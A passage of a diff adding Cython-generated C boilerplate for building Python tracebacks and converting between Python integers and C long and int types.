"co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__38); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, 